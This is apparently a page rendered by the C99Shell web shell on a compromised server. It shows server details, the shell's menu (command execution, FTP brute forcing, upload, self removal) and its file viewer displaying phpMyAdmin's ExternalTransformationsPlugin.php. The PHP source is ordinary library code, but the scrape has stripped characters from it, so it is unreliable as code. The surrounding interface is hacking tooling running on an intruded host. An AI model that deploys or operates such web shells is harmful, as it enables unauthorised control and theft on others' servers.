!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Plugins/Transformations/Abs/   drwxr-xr-x
Free 83.34 GB of 96.73 GB (86.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExternalTransformationsPlugin.php (5.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Abstract class for the external transformations plugins
 */

declare(strict_types=1);

namespace 
PhpMyAdmin\Plugins\Transformations\Abs;

use 
PhpMyAdmin\Plugins\TransformationsPlugin;
use 
stdClass;
use const 
E_USER_DEPRECATED;
use function 
count;
use function 
fclose;
use function 
feof;
use function 
fgets;
use function 
fwrite;
use function 
htmlspecialchars;
use function 
is_resource;
use function 
proc_close;
use function 
proc_open;
use function 
sprintf;
use function 
strlen;
use function 
trigger_error;

/**
 * Provides common methods for all of the external transformations plugins.
 */
abstract class ExternalTransformationsPlugin extends TransformationsPlugin
{
    
/**
     * Gets the transformation description of the specific plugin
     *
     * @return string
     */
    
public static function getInfo()
    {
        return 
__(
            
'LINUX ONLY: Launches an external application and feeds it the column'
            
' data via standard input. Returns the standard output of the'
            
' application. The default is Tidy, to pretty-print HTML code.'
            
' For security reasons, you have to manually edit the file'
            
' libraries/classes/Plugins/Transformations/Abs/ExternalTransformationsPlugin.php'
            
' and list the tools you want to make available.'
            
' The first option is then the number of the program you want to'
            
' use. The second option should be blank for historical reasons.'
            
' The third option, if set to 1, will convert the output using'
            
' htmlspecialchars() (Default 1). The fourth option, if set to 1,'
            
' will prevent wrapping and ensure that the output appears all on'
            
' one line (Default 1).'
        
);
    }

    
/**
     * Enables no-wrapping
     *
     * @param array $options transformation options
     *
     * @return bool
     */
    
public function applyTransformationNoWrap(array $options = [])
    {
        if (! isset(
$options[3]) || $options[3] == '') {
            
$nowrap true;
        } elseif (
$options[3] == '1' || $options[3] == 1) {
            
$nowrap true;
        } else {
            
$nowrap false;
        }

        return 
$nowrap;
    }

    
/**
     * Does the actual work of each specific transformations plugin.
     *
     * @param string        $buffer  text to be transformed
     * @param array         $options transformation options
     * @param stdClass|null $meta    meta information
     *
     * @return string
     */
    
public function applyTransformation($buffer, array $options = [], ?stdClass $meta null)
    {
        
// possibly use a global transform and feed it with special options

        // further operations on $buffer using the $options[] array.

        
$allowed_programs = [];

        
// WARNING:
        //
        // It's up to administrator to allow anything here. Note that users may
        // specify any parameters, so when programs allow output redirection or
        // any other possibly dangerous operations, you should write wrapper
        // script that will publish only functions you really want.
        //
        // Add here program definitions like (note that these are NOT safe
        // programs):
        //
        //$allowed_programs[0] = '/usr/local/bin/tidy';
        //$allowed_programs[1] = '/usr/local/bin/validate';

        // no-op when no allowed programs
        
if (count($allowed_programs) === 0) {
            return 
$buffer;
        }

        
$cfg $GLOBALS['cfg'];
        
$options $this->getOptions(
            
$options,
            
$cfg['DefaultTransformations']['External']
        );

        if (isset(
$allowed_programs[$options[0]])) {
            
$program $allowed_programs[$options[0]];
        } else {
            
$program $allowed_programs[0];
        }

        if (isset(
$options[1]) && strlen((string) $options[1]) > 0) {
            
trigger_error(sprintf(
                
__(
                    
'You are using the external transformation command line'
                    
' options field, which has been deprecated for security reasons.'
                    
' Add all command line options directly to the definition in %s.'
                
),
                
'[code]libraries/classes/Plugins/Transformations/Abs/ExternalTransformationsPlugin.php[/code]'
            
), E_USER_DEPRECATED);
        }

        
// needs PHP >= 4.3.0
        
$newstring '';
        
$descriptorspec = [
            
=> [
                
'pipe',
                
'r',
            ],
            
=> [
                
'pipe',
                
'w',
            ],
        ];
        
$process proc_open($program ' ' $options[1], $descriptorspec$pipes);
        if (
is_resource($process)) {
            
fwrite($pipes[0], $buffer);
            
fclose($pipes[0]);

            while (! 
feof($pipes[1])) {
                
$newstring .= fgets($pipes[1], 1024);
            }
            
fclose($pipes[1]);
            
// we don't currently use the return value
            
proc_close($process);
        }

        if (
$options[2] == || $options[2] == '2') {
            
$retstring htmlspecialchars($newstring);
        } else {
            
$retstring $newstring;
        }

        return 
$retstring;
    }

    
/* ~~~~~~~~~~~~~~~~~~~~ Getters and Setters ~~~~~~~~~~~~~~~~~~~~ */

    /**
     * Gets the transformation name of the specific plugin
     *
     * @return string
     */
    
public static function getName()
    {
        return 
'External';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0046 ]--